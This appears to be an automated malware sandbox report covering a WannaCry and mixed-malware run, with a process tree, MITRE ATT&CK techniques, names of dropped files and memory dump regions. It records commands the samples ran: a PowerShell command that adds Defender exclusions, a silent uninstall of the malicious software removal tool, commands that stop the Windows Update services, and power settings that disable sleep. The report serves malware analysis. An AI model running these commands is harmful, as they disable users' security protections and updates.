- Executes dropped EXE
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵
-
C:\Windows\SysWOW64\Files\WannaCry.exe"C:\Windows\SysWOW64\Files\WannaCry.exe" /r1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k WerSvcGroup1⤵
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵
-
C:\Users\Admin\AppData\Local\Temp\unpacksos\1\Launcher.exe"C:\Users\Admin\AppData\Local\Temp\unpacksos\1\\Launcher.exe"1⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵
-
C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"1⤵
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵
-
C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"1⤵
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k swprv1⤵
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}1⤵
-
C:\Windows\explorer.exeC:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding1⤵
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵
-
C:\ProgramData\winmgr\syswinprdrvc.exeC:\ProgramData\winmgr\syswinprdrvc.exe1⤵
-
C:\Windows\system32\dwm.exedwm.exe2⤵
-
-
C:\ProgramData\Chrome\chrome_updater.exeC:\ProgramData\Chrome\chrome_updater.exe1⤵
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
-
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
-
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
-
-
C:\Windows\system32\conhost.exeC:\Windows\system32\conhost.exe2⤵
-
-
C:\Windows\system32\cmd.execmd.exe2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\server.exe"C:\Users\Admin\AppData\Local\Temp\server.exe" ..1⤵
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
5Windows Service
5Event Triggered Execution
1Netsh Helper DLL
1Power Settings
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
5Windows Service
5Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Direct Volume Access
1Hide Artifacts
1Hidden Files and Directories
1Impair Defenses
5Disable or Modify System Firewall
2Disable or Modify Tools
2Indicator Removal
2File Deletion
2Modify Registry
6Obfuscated Files or Information
1Command Obfuscation
1Virtualization/Sandbox Evasion
5Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
5Credentials In Files
4Credentials in Registry
1Discovery
Browser Information Discovery
1Peripheral Device Discovery
2Process Discovery
1Query Registry
11System Information Discovery
10System Location Discovery
1System Language Discovery
1System Network Configuration Discovery
1Wi-Fi Discovery
1Virtualization/Sandbox Evasion
5Replay Monitor
Loading Replay Monitor...
Downloads
SeetrolClient.exe
NGuTUt
Synaptics.exe
xfs
!WannaDecryptor!.exe.lnk
mip_sdk.miplog
excel.exe.db-wal
iconcache_1280.db
iconcache_1920.db
iconcache_2560.db
iconcache_32.db
iconcache_32.db
iconcache_768.db
iconcache_96.db
iconcache_custom_stream.db
iconcache_exif.db
iconcache_idx.db
iconcache_idx.db
iconcache_sr.db
iconcache_wide.db
iconcache_wide_alternate.db
thumbcache_48.db
thumbcache_idx.db
thumbcache_idx.db
success[1].htm
V01.chk
._cache_Synaptics.exe
59vfortJ.xlsm
B0775E00
El7wdmfVGzCo
%D0%A4%D0%BE%D1%80%D0%BC%D0%B0%203%D0%9E%D0%A8%D0%91%D0%A0.exe
02.08.2022.exe
2.exe
6904a6e81f0c5_crypted.exe
AccountBind.exe
Anap.a.exe
CFXBypass.exe
ChromeUpdate.exe
Client-built.exe
Darwin.exe
DiscordSpotifyBypass.exe
EvonExcuter.exe
Fast%20Download.exe
Guide2018.exe
Hive%20Ransomware.exe
JAMMX4im1BtsCSq.exe
LOIC.exe
MC_setup.exe
ME3_setup.exe
MS14-068.exe
Minere.exe
Office.exe
RuntimeBroker.exe
Setup_Vreugd_Online_Magneetkaart_1290.exe
SplashtopSOS_Win_v3.8.0.1_HSL5K57RTHH5.exe
Splunk.exe
WN0HSu2.exe
XClient.exe
actu.exe
av.exe
black.exe
build.exe
bypass.exe
clean.exe
client.exe
connector1.exe
down.exe
file.exe
fontdrvhost.exe
game.exe
icecast2_2.0.0_VULNERABLE.exe
injectorOld.exe
ksv.exe
lol.exe
mimikatz.exe
mport.exe
namu832.exe
networks_profile.exe
sanghyun-guest.exe
setup.exe
svchost.exe
xmr.exe
KjYUA1MmQn.tmp
Ng9yLjFsayRV
black.exe
python314.dll
Crypto.Cipher._ARC4.pyd
Crypto.Hash._MD4.pyd
Crypto.Util.strxor.pyd
_hashlib.pyd
_socket.pyd
_ssl.pyd
ms14-068.exe.manifest
python27.dll
__PSScriptPolicyTest_dta0om32.ykl.ps1
ghzywgnXO3.tmp
_isdecmp.dll
svchost015.exe
unpack1.log
.init_setting.ini
SRClient.pem
SRFeatMiniSOS.exe
SRAgent.sqlite3
SRAgent.sqlite3
SRAgent.sqlite3
~$59vfortJ.xlsm
Tempmuckkicosuii.db
Tempmuckvoghoqsq.db
background.exe
Process.txt
CachedImage_1280_720_POS4.jpg
namu832.exe
!Please Read Me!.txt
02.08.2022.exe
Barchart.exe
EZFN%20op%20cheats.exe
Lab01-02.exe
NoMoreRansom.exe
RambledMime.exe
WannaCry.exe
alphaTweaks.exe
autorun.exe
builder.exe
erererer.exe
random.exe
u.wry
HOW_TO_DECRYPT.txt
memory/572-374-0x0000000000400000-0x00000000005DE000-memory.dmp
memory/572-359-0x0000000000400000-0x00000000005DE000-memory.dmp
memory/644-2543-0x0000000003130000-0x0000000003180000-memory.dmp
memory/644-2544-0x000000001C4A0000-0x000000001C552000-memory.dmp
memory/780-421-0x0000000000AC0000-0x0000000000AF4000-memory.dmp
memory/796-284-0x0000000000400000-0x0000000000430000-memory.dmp
memory/840-370-0x0000000000400000-0x0000000000822000-memory.dmp
memory/1224-2920-0x00007FFAE5F30000-0x00007FFAE610C000-memory.dmp
memory/1224-3268-0x00007FFAE5F30000-0x00007FFAE610C000-memory.dmp
memory/1224-2913-0x00007FF7048D0000-0x00007FF704A24000-memory.dmp
memory/1396-3265-0x00000190746D0000-0x00000190746D6000-memory.dmp
memory/1396-3264-0x00000190746A0000-0x00000190746A8000-memory.dmp
memory/1396-3259-0x0000019074C10000-0x0000019074C2A000-memory.dmp
memory/1396-3267-0x00000190746E0000-0x00000190746EA000-memory.dmp
memory/1396-3256-0x0000019074690000-0x000001907469A000-memory.dmp
memory/1396-3254-0x00000190746B0000-0x00000190746CC000-memory.dmp
memory/1396-3253-0x0000019074680000-0x000001907468A000-memory.dmp
memory/1396-3251-0x0000019074660000-0x000001907467C000-memory.dmp
memory/1396-3252-0x0000019074900000-0x00000190749B3000-memory.dmp
memory/1552-198-0x00007FFAD5550000-0x00007FFAD5560000-memory.dmp
memory/1552-200-0x00007FFAD5550000-0x00007FFAD5560000-memory.dmp
memory/1552-197-0x00007FFAD5550000-0x00007FFAD5560000-memory.dmp
memory/1552-199-0x00007FFAD5550000-0x00007FFAD5560000-memory.dmp
memory/1552-203-0x00007FFAD2D00000-0x00007FFAD2D10000-memory.dmp
memory/1552-202-0x00007FFAD2D00000-0x00007FFAD2D10000-memory.dmp
memory/1552-201-0x00007FFAD5550000-0x00007FFAD5560000-memory.dmp
memory/1772-756-0x0000000000A00000-0x0000000000AE9000-memory.dmp
memory/1772-782-0x0000000000A00000-0x0000000000AE9000-memory.dmp
memory/2448-1416-0x0000000000A60000-0x0000000000D84000-memory.dmp
memory/2620-1476-0x00000000006A0000-0x00000000006AA000-memory.dmp
memory/2956-132-0x00000000003C0000-0x00000000003C8000-memory.dmp
memory/2956-136-0x0000000004D10000-0x0000000004DAC000-memory.dmp
memory/3020-434-0x0000025114590000-0x00000251145DA000-memory.dmp
memory/3140-971-0x0000012B98EA0000-0x0000012B9906E000-memory.dmp
memory/3140-956-0x00007FFAE26E0000-0x00007FFAE28BC000-memory.dmp
memory/3140-784-0x00007FF7048D0000-0x00007FF704A24000-memory.dmp
memory/3140-972-0x00007FFAE26E0000-0x00007FFAE28BC000-memory.dmp
memory/3140-825-0x00007FFAE26E0000-0x00007FFAE28BC000-memory.dmp
memory/3140-1041-0x00007FFAE26E0000-0x00007FFAE28BC000-memory.dmp
memory/3140-781-0x00007FFAE26E0000-0x00007FFAE28BC000-memory.dmp
memory/3156-718-0x0000000000400000-0x00000000005DE000-memory.dmp
memory/3156-472-0x0000000000400000-0x00000000005DE000-memory.dmp
memory/3156-330-0x0000000000400000-0x00000000005DE000-memory.dmp
memory/3156-349-0x0000000000400000-0x00000000005DE000-memory.dmp
memory/3156-350-0x0000000000400000-0x00000000005DE000-memory.dmp
memory/3156-791-0x0000000000400000-0x00000000005DE000-memory.dmp
memory/3156-942-0x0000000000400000-0x00000000005DE000-memory.dmp
memory/3156-962-0x0000000000400000-0x00000000005DE000-memory.dmp
memory/3156-1033-0x0000000000400000-0x00000000005DE000-memory.dmp
memory/3156-353-0x0000000000400000-0x00000000005DE000-memory.dmp
memory/3248-1128-0x0000000000400000-0x0000000000561000-memory.dmp
memory/3248-958-0x0000000000400000-0x0000000000561000-memory.dmp
memory/3248-999-0x0000000000400000-0x0000000000561000-memory.dmp
memory/3308-1037-0x0000000004180000-0x00000000041BA000-memory.dmp
memory/3308-1039-0x0000000004180000-0x00000000041BA000-memory.dmp
memory/3308-1116-0x0000000002790000-0x0000000002791000-memory.dmp
memory/3308-1058-0x0000000002760000-0x0000000002761000-memory.dmp
memory/3308-1036-0x0000000003B90000-0x0000000003BC4000-memory.dmp
memory/3640-3775-0x00007FF7E0D70000-0x00007FF7E1564000-memory.dmp
memory/3872-2808-0x00007FF7048D0000-0x00007FF704A24000-memory.dmp
memory/3872-2888-0x00007FFAEA1B0000-0x00007FFAEA38C000-memory.dmp
memory/3872-2815-0x00007FFAEA1B0000-0x00007FFAEA38C000-memory.dmp
memory/4176-1076-0x0000000010000000-0x0000000010012000-memory.dmp
memory/4232-0-0x0000000002580000-0x0000000002581000-memory.dmp
memory/4232-127-0x0000000000400000-0x00000000004C5000-memory.dmp
memory/4232-1-0x00000000004A0000-0x00000000004A1000-memory.dmp
memory/4588-2653-0x00007FFAE5F30000-0x00007FFAE610C000-memory.dmp
memory/4588-2661-0x00007FFAE5F30000-0x00007FFAE610C000-memory.dmp
memory/4588-2710-0x00007FFAE5F30000-0x00007FFAE610C000-memory.dmp
memory/4588-2654-0x00007FF7048D0000-0x00007FF704A24000-memory.dmp
memory/4628-780-0x0000000000F70000-0x0000000001315000-memory.dmp
memory/4896-2742-0x00007FFAEA1B0000-0x00007FFAEA38C000-memory.dmp
memory/4896-2743-0x00007FF7048D0000-0x00007FF704A24000-memory.dmp
memory/4896-2751-0x00007FFAEA1B0000-0x00007FFAEA38C000-memory.dmp
memory/4896-2773-0x00007FFAEA1B0000-0x00007FFAEA38C000-memory.dmp
memory/5208-2163-0x0000000005BD0000-0x00000000061E8000-memory.dmp
memory/5208-2529-0x00000000058D0000-0x0000000005936000-memory.dmp
memory/5208-2136-0x00000000054B0000-0x00000000055A8000-memory.dmp
memory/5232-242-0x00000000007D0000-0x00000000007DD000-memory.dmp
memory/5232-283-0x0000000000400000-0x0000000000430000-memory.dmp
memory/5232-251-0x0000000002D20000-0x0000000002E00000-memory.dmp
memory/5420-342-0x00000000000F0000-0x00000000000FE000-memory.dmp
memory/5420-351-0x00000000021C0000-0x00000000021E2000-memory.dmp
memory/5444-195-0x0000000000400000-0x00000000004C5000-memory.dmp
memory/5500-365-0x00000000000E0000-0x0000000000109000-memory.dmp
memory/5500-363-0x00000000000E0000-0x0000000000109000-memory.dmp
memory/5500-371-0x00000000000E0000-0x0000000000109000-memory.dmp
memory/5500-364-0x00000000000E0000-0x0000000000109000-memory.dmp
memory/5500-362-0x00000000000D0000-0x00000000000D1000-memory.dmp
memory/5500-366-0x00000000000E0000-0x0000000000109000-memory.dmp
memory/5504-131-0x0000000000400000-0x00000000004C5000-memory.dmp
memory/5504-372-0x0000000000400000-0x00000000004C5000-memory.dmp
memory/5568-759-0x0000000000A00000-0x0000000000AE9000-memory.dmp
memory/5568-746-0x0000000000A00000-0x0000000000AE9000-memory.dmp
memory/5840-691-0x0000000000400000-0x0000000000822000-memory.dmp
memory/5908-3165-0x0000000069310000-0x00000000693B5000-memory.dmp
memory/5908-3231-0x0000000069310000-0x00000000693B5000-memory.dmp
memory/5908-3163-0x00000000693C0000-0x000000006A8A2000-memory.dmp
memory/5908-3217-0x00000000693C0000-0x000000006A8A2000-memory.dmp
memory/5976-2531-0x0000000004F80000-0x0000000004FEE000-memory.dmp
memory/5976-2530-0x0000000002AA0000-0x0000000002B10000-memory.dmp
memory/6024-297-0x00000000008D0000-0x00000000008DE000-memory.dmp
memory/6084-2791-0x000002543D6D0000-0x000002543DA68000-memory.dmp
memory/6120-755-0x00000000004D0000-0x0000000000875000-memory.dmp
memory/6288-970-0x0000000000400000-0x00000000004A1000-memory.dmp
memory/6444-1000-0x0000000000400000-0x000000000041B000-memory.dmp
memory/6444-1021-0x0000000000400000-0x000000000041B000-memory.dmp
memory/6476-2549-0x0000000006B20000-0x0000000006B42000-memory.dmp
memory/6476-2534-0x0000000004EA0000-0x00000000054CA000-memory.dmp
memory/6476-2532-0x0000000004750000-0x0000000004786000-memory.dmp
memory/6476-2536-0x0000000005640000-0x00000000056A6000-memory.dmp
memory/6476-2547-0x0000000006BC0000-0x0000000006C56000-memory.dmp
memory/6476-2535-0x0000000004E20000-0x0000000004E42000-memory.dmp
memory/6476-2548-0x0000000006100000-0x000000000611A000-memory.dmp
memory/6476-2545-0x0000000005BD0000-0x0000000005BEE000-memory.dmp
memory/6476-2546-0x0000000005BF0000-0x0000000005C3C000-memory.dmp
memory/6564-1129-0x0000000000400000-0x0000000000727000-memory.dmp
memory/6564-1020-0x0000000000400000-0x0000000000727000-memory.dmp
memory/6972-2572-0x0000000007780000-0x0000000007824000-memory.dmp
memory/6972-2560-0x0000000006630000-0x000000000667C000-memory.dmp
memory/6972-2574-0x0000000007910000-0x000000000791A000-memory.dmp
memory/6972-2589-0x0000000007CD0000-0x0000000007CD8000-memory.dmp
memory/6972-2588-0x0000000007CE0000-0x0000000007CFA000-memory.dmp
memory/6972-2587-0x0000000007AE0000-0x0000000007AF5000-memory.dmp
memory/6972-2563-0x0000000007740000-0x0000000007774000-memory.dmp
memory/6972-2564-0x000000006D570000-0x000000006D5BC000-memory.dmp
memory/6972-2571-0x0000000006B40000-0x0000000006B5E000-memory.dmp
memory/6972-2586-0x0000000007AD0000-0x0000000007ADE000-memory.dmp
memory/6972-2573-0x0000000007ED0000-0x000000000854A000-memory.dmp
memory/6972-2576-0x0000000007AA0000-0x0000000007AB1000-memory.dmp
memory/6992-1050-0x0000000000400000-0x0000000000407000-memory.dmp
memory/6992-1051-0x0000000000400000-0x0000000000407000-memory.dmp
memory/7164-1137-0x0000000000FF0000-0x0000000000FF1000-memory.dmp
memory/7272-2598-0x00000000075A0000-0x00000000075B5000-memory.dmp
memory/7272-2590-0x000000006D570000-0x000000006D5BC000-memory.dmp
memory/7332-3283-0x0000024CD0970000-0x0000024CD0A23000-memory.dmp
memory/7396-690-0x00000000000E0000-0x0000000000109000-memory.dmp
memory/7508-1107-0x0000000000420000-0x0000000000744000-memory.dmp
memory/7544-2909-0x0000000000990000-0x00000000009AA000-memory.dmp
memory/7800-733-0x00007FFB154C0000-0x00007FFB156C9000-memory.dmp
memory/7800-735-0x0000000075050000-0x00000000752A2000-memory.dmp
memory/7800-728-0x0000000000400000-0x0000000000496000-memory.dmp
memory/7800-729-0x0000000000400000-0x0000000000496000-memory.dmp
memory/7800-731-0x0000000002D90000-0x0000000003190000-memory.dmp
memory/7800-732-0x0000000002D90000-0x0000000003190000-memory.dmp
memory/7952-3803-0x00007FF7048D0000-0x00007FF704A24000-memory.dmp
memory/8028-1186-0x0000000000400000-0x0000000000642000-memory.dmp
memory/8028-1316-0x00000000059A0000-0x00000000059BE000-memory.dmp
memory/8028-1320-0x0000000005CC0000-0x0000000005CCA000-memory.dmp
memory/8028-1317-0x0000000005AF0000-0x0000000005B66000-memory.dmp
memory/8028-1315-0x00000000069D0000-0x0000000006B92000-memory.dmp
memory/8028-1310-0x0000000005410000-0x0000000005767000-memory.dmp
memory/8028-1311-0x0000000005D20000-0x00000000062C6000-memory.dmp
memory/8028-1312-0x00000000062D0000-0x00000000067FC000-memory.dmp
memory/8028-1313-0x00000000059C0000-0x0000000005A52000-memory.dmp
memory/8028-1314-0x0000000005B70000-0x0000000005C7A000-memory.dmp
memory/8040-730-0x0000000004840000-0x0000000004841000-memory.dmp
memory/8040-727-0x00000000003A0000-0x0000000000492000-memory.dmp
memory/8104-3320-0x0000028BAA630000-0x0000028BAA656000-memory.dmp
memory/8180-3317-0x00000000048D0000-0x000000000491C000-memory.dmp